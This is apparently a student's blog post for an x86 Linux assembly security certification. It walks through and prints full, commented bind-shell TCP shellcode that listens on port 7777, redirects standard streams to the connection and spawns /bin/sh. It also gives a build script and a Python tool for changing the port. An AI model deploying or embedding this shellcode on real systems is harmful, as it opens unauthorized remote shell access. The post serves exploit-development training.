For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the first exercise requested about writing
a bind shell tcp shellcode. Code can be found at my GitHub SLAE repository.
1. BIND SHELL TCP SHELLCODE
___________________________________________________
___________________________________________________
All comments are on the code:
The shellcode creates a socket, then bind to a port, make it listenining, and accept new connections on it. Once a connection is made, it duplicates file descriptors, mainly
0/1/2 which are stdin/stdout/stderror so these ones becomes the TCP connection itself, and every input/output will go trough the connection. Finally, execve() launch a shell.
Once the asm file is created, I am using a bash script to assemble/link/compile it. I am including it once for the first assignment, but I will not in further blog posts:
Once we did a great number of times the same steps, it is convenient to automate the process:
It builds the following final C file (shellcode cutted in the screenshot):
Now we can run the compiled file and check if it works:
We can see that the shellcode executes, and is binding to local port 7777, as shown by the netstat command. Now let's try to connect to it:
It works as expected, once connected we are greeted with a shell. Then, to be able to modify easily the local port, without recompiling the shellcode, I have made a quick python script "port_converter.py":
Then we can modify just two bytes in the shellcode in the C file:
That is all there is about it, we have a working bind tcp shellcode with a configurable local port!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
; Title: Linux x86 Shell Bind TCP port 7777 shellcode (93 bytes) ; Author: Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; Socket creation and handling with socketcall() ; socketcall(int call, unsigned long *args) ; 1 - creating socket ; int socket(int domain, int type, int protocol) ; socketfd = socket(2, 1, 0) ; eax = 0x66 = socketcall() ; ebx = 0x1 = socket() ; ecx = ptr to socket's args xor ebx, ebx ; zero out ebx mul ebx ; implicit operand eax: zero out eax mov al, 0x66 ; 0x66 = 102 = socketcall() push ebx ; 3rd arg: socket protocol = 0 mov bl, 0x1 ; ebx = 1 = socket() function push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM) push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET) mov ecx, esp ; copy stack structure's address to ecx (pointer) int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0) ; 2 - binding port ; int bind(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr] , socklen_t addrlen) ; bind(socketfd, [2, 24862, 0], 16) ; eax = 0x66 = socketcall() ; ebx = 0x2 = bind() ; ecx = ptr to bind's args xchg edi, eax ; save socketfd into edi mov al, 0x66 ; 0x66 = 102 = socketcall() pop ebx ; ebx = 2 = bind() pop esi ; esi = 1 push edx ; edx = 0 (INADDR_ANY) = host 0.0.0.0 push word 0x611e ; sin_port = 24862 = port 7777 push word bx ; sin_family = 2 (AF_INET) push byte 16 ; addr_len = 16 (structure size) push ecx ; ecx = esp = ptr to args struture push edi ; socketfd. Stack is now [0, 24862, 2], 16, *ptr, socketfd mov ecx, esp ; save esp into ecx, points to socketfd int 0x80 ; eax = bind(socketfd, *addr[SYS_BIND, 7777, 0.0.0.0], 16) = 0 (on success) ; 3 - listening ; int listen(int sockfd, int backlog) ; listen(socketfd, 0) ; eax = 0x66 = socketcall() ; ebx = 0x4 = listen() ; ecx = ptr to socketfd xor edi, edi ; from now on we will use edi to push NULLs on stack pop edx ; save socketfd push edi ; 2nd arg: 0X0 = backlog push edx ; 1st arg = socketfd mov bl, 0x4 ; ebx = 4 = listen() mov ecx, esp ; ptr to args structure on stack (socketfd, 0) mov al, 0x66 ; 0x66 = 102 = socketcall() int 0x80 ; listen(socketfd, 0) ; 4 - accept ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) ; accept(socketfd, 0, 0) ; eax = 0x66 = socketcall() ; ebx = 0x5 = accept() ; ecx = ptr to socketfd push edi ; 3rd arg: addrlen = 0x0 push edi ; 2nd arg: addr = 0x0 push edx ; 1st arg: previously saved socketfd mov ecx, esp ; ecx points to socketfd mov bl, 0x5 ; ebx = 5 = accept() mov al, 0x66 ; 0x66 = 102 = socketcall() int 0x80 ; accept(socketfd, 0, 16) ; 5 - dup2 ; int dup2(int oldfd, int newfd) ; duplicate our socketfd into fd from 14 to 0 (stdin = 0, stdout = 1, stderror = 2) ; stdin/stdout/stderror become the TCP connection xchg eax, ebx ; eax = 5, ebx = accepted_socketfd pop ecx ; ecx = 14 dup_jump: mov al, 0x3f ; eax = 63 = dup2() int 0x80 ; dup2(accepted_socketfd, 14) dec ecx ; decrement ecx (newfd) jns dup_jump ; loop until newfd is 0 (= stdin) ; 6 - execve /bin/sh ; execve(const char *filename, char *const argv [], char *const envp[]) ; execve(/bin//sh, &/bin//sh, 0) push edi push dword 0x68732f2f ; push //sh push dword 0x6e69622f ; push /bin (=/bin//sh) mov ebx, esp ; store ptr to /bin//sh into ebx push edi ; eax = 0X00000000 mov edx, esp ; ptr to an empty array push ebx ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh mov ecx, esp ; ecx points to argv mov al, 0xb int 0x80 ; execve /bin/sh
Once the asm file is created, I am using a bash script to assemble/link/compile it. I am including it once for the first assignment, but I will not in further blog posts:
# Title: ASM to Shellcode converter # File: asm2shellcode.sh # Author: Guillaume Kaddouch # SLAE-681 #!/bin/bash clear file=$1 steps="5" if [ -z $file ]; then echo "[-] No argument given, exiting." exit fi extension=`echo $file | grep '.asm'` if [ ! -z $extension ]; then echo "[!] Extension specified, please remove it." exit fi if [ ! -e $file.asm ]; then echo "[-] "$1".asm file does not exist." exit fi echo '[*] 1/'$steps': Assembling "'$file'.asm" with Nasm ... ' echo "nasm -f elf32 -o "$file".o "$file".asm" nasm -f elf32 -o $file.o $file.asm echo "" if [ -z $file.o ]; then echo "[-] Error while assembling, "$file".o not created" exit fi echo '[+] 2/'$steps': Linking ...' echo "ld -o "$file" "$file".o" ld -o $file $file.o echo "" if [ -z $file ]; then echo "[-] Error while linking, "$file" not created" exit fi
Once we did a great number of times the same steps, it is convenient to automate the process:
It builds the following final C file (shellcode cutted in the screenshot):
Now we can run the compiled file and check if it works:
We can see that the shellcode executes, and is binding to local port 7777, as shown by the netstat command. Now let's try to connect to it:
It works as expected, once connected we are greeted with a shell. Then, to be able to modify easily the local port, without recompiling the shellcode, I have made a quick python script "port_converter.py":
# Title: Port to Shellcode converter # File: port_converter.py # Author: Guillaume Kaddouch # SLAE-681 #!/usr/bin/python import socket, sys port = int(sys.argv[1]) network_order = socket.htons(port) hex_converted = hex(network_order) hex1 = hex_converted[2:4] hex2 = hex_converted[4:6] if hex1 == "": hex1 = "00" if len(hex1) == 1: hex1 = "0" + hex1 if hex2 == "": hex2 = "00" if len(hex2) == 1: hex2 = "0" + hex2 print "port %s" % str(port) print "network order = %s" % str(network_order) print "hexadecimal = %s" % hex_converted print "shellcode format = \\x%s\\x%s" % (hex2, hex1)Then we can choose the port we like, to get the shellcode translation for that port:
Then we can modify just two bytes in the shellcode in the C file:
That is all there is about it, we have a working bind tcp shellcode with a configurable local port!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
No comments:
Post a Comment